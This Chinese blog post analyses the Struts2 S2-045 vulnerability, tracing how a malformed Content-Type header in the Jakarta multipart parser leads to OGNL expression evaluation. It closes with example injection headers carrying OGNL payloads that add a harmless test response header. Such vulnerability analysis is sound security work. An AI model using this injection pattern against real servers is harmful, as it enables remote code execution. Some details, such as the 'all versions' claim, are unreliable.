Learning Man's Blog

s2-045 漏洞分析

字数统计: 1.1k阅读时长: 4 min
2018/10/26

影响版本:

Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10

漏洞产生原因主要在于使用Jakarta插件处理文件上传操作,对content-type处理

【占坑】分析基于2.3.30,貌似高版本触发点不太一样,原理大致相同

0x01 踩坑

No, no I don’t give a… anymore.

0x02 分析

跟进分析

struct 使用java ee中的Filter去拦截请求,并实现自己的功能。也就是说,用户所发出的请求,首先会在org.apache.struts2.dispatcher.ng.filter中的StrutsPrepareAndExecuteFilter类去执行(即web.xml中配置的filter)。首先执行类中的doFilter方法。这个方法是自动调用的,在这里可以struct拦截用户的请求,并实现自己的业务代码。

  1. 执行prepare.wrapRequest()

  2. 跟进可见调用dispatcher.wrapRequest()

     public HttpServletRequest wrapRequest(HttpServletRequest oldRequest) throws ServletException {
         HttpServletRequest request = oldRequest;
    
         try {
             request = this.dispatcher.wrapRequest(request);
             ServletActionContext.setRequest(request);
             return request;
         } catch (IOException var4) {
             throw new ServletException("Could not wrap servlet request with MultipartRequestWrapper!", var4);
         }
     }
  3. 再跟进到dispatcher.wrapRequest,可见先判断是否包含multipart/form-data这个header

    在这里,并没去区分是什么http方法,也就是说,get方法强行包含一个带有恶意代码的content-type头,也会执行到这里的。首先判断一下是否为null和是否包含multipart/form-data。如果不包含,也就是get方法和post表单提交,则执行else里面的内容。如果包含,也就是说可能有文件上传,则执行if里面的内容。

  4. 这里会通过getMultiPartRequest获取默认的解析器

    而默认的就是jakarta,对应即为JakartaMultiPartRequest

  5. 跟进MultiPartRequestWrapper实例化,通过multi.parse开始解析即JakartaMultiPartRequest.parse

     public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request, String saveDir, LocaleProvider provider, boolean disableRequestAttributeValueStackLookup) {
         super(request, disableRequestAttributeValueStackLookup);
         this.defaultLocale = Locale.ENGLISH;
         this.errors = new ArrayList();
         this.multi = multiPartRequest;
         this.defaultLocale = provider.getLocale();
         this.setLocale(request);
    
         try {
             this.multi.parse(request, saveDir);
             Iterator i$ = this.multi.getErrors().iterator();
    
             while(i$.hasNext()) {
                 String error = (String)i$.next();
                 this.addError(error);
             }
         } catch (IOException var8) {
             if (LOG.isWarnEnabled()) {
                 LOG.warn(var8.getMessage(), var8, new String[0]);
             }
    
             this.addError(this.buildErrorMessage(var8, new Object[]{var8.getMessage()}));
         }
    
     }
  6. 关键代码

     public void parse(HttpServletRequest request, String saveDir) throws IOException {
         String errorMessage;
         try {
             this.setLocale(request);
             this.processUpload(request, saveDir);
         } catch (SizeLimitExceededException var5) {
             ...
         } catch (Exception var6) {
             ...
             errorMessage = this.buildErrorMessage(var6, new Object[0]);
             ...
         }
    
     }
  7. 跟进processUpload,先通过parseRequest解析请求包信息,省略的代码是对表单内容的解析

     protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {
         Iterator i$ = this.parseRequest(request, saveDir).iterator();
    
         ...
     }
  8. 跟进parseRequest会发现调用upload.parseRequest

     protected List<FileItem> parseRequest(HttpServletRequest servletRequest, String saveDir) throws FileUploadException {
         DiskFileItemFactory fac = this.createDiskFileItemFactory(saveDir);
         ServletFileUpload upload = this.createServletFileUpload(fac);
         return upload.parseRequest(this.createRequestContext(servletRequest));
     }
  9. 跟进发现此处主要解析各个文件并保存到列表里

  10. 跟进到FileItemIteratorImpl,这里会调用JakartaMultiPartRequest.getContentType(),在if判断时候,会判断是否以multipart开头,可以在前加任意字符(包括00)即可进入else抛出异常

    Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryXd004BVJN9pBYBL2

    这里是为了使用header中content-type里的boundary来分割data中的文件表单

    private class FileItemIteratorImpl implements FileItemIterator {
        FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException {
            if (ctx == null) {
                throw new NullPointerException("ctx parameter");
            } else {
                String contentType = ctx.getContentType();
                if (null != contentType && contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) {
                ...
                } else {
                    throw new FileUploadBase.InvalidContentTypeException(String.format("the request doesn't contain a %s or %s stream, content type header is %s", "multipart/form-data", "multipart/mixed", contentType));
                }
            }
        }
        ...
    }
  11. 回到JakartaMultiPartRequest.parse捕获异常调用buildErrorMessage,然后本地化处理执行OGNL

流程梳理

st=>start: Dispatcher.wrapRequest(HttpServletRequest)优先判断content-type是否包含multipart/form-data,注意是包含
a=>operation: 创建默认配置的multipartHandlerName解析器即JakartaMultiPartRequest,调用parse开始解析
b=>operation: 多次跟进后,跟入到FileUploadBase.parseRequest(),通过FileItemIteratorImpl提取文件
c=>operation: 为提取文件,通过header中的content-type分割文件
d=>operation: 但在JakartaMultiPartRequest.getContentType时检测是否为multipart/开头
e=>operation: 报错,抛出异常,被JakartaMultiPartRequest.getContentType捕获
f=>operation: buildErrorMessage构建错误信息
en=>end: 调用本地化转化文本内容,一系列操作后OGNL执行

st->a->b->c->d->e->fen

0x03 利用条件

All 版本

0x04 利用方式

  1. 添加header Content-Type: <char>maltipart/formdata payload

    P.S.

    1. payload为ognl表达式,payload之前空格可不要,因为struts会自己提取表达式内容
    2. maltipart/formdata可以在任意位置,如果在ognl前就需要在前面添加一个任意字符构造报错

如:

Content-Type: 'maltipart/formdata%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}maltipart/formdata

参考资料

  1. https://xz.aliyun.com/t/241
  2. https://paper.seebug.org/241/
CATALOG
  1. 1. 0x01 踩坑
  2. 2. 0x02 分析
    1. 2.1. 跟进分析
    2. 2.2. 流程梳理
  3. 3. 0x03 利用条件
  4. 4. 0x04 利用方式
  5. 5. 参考资料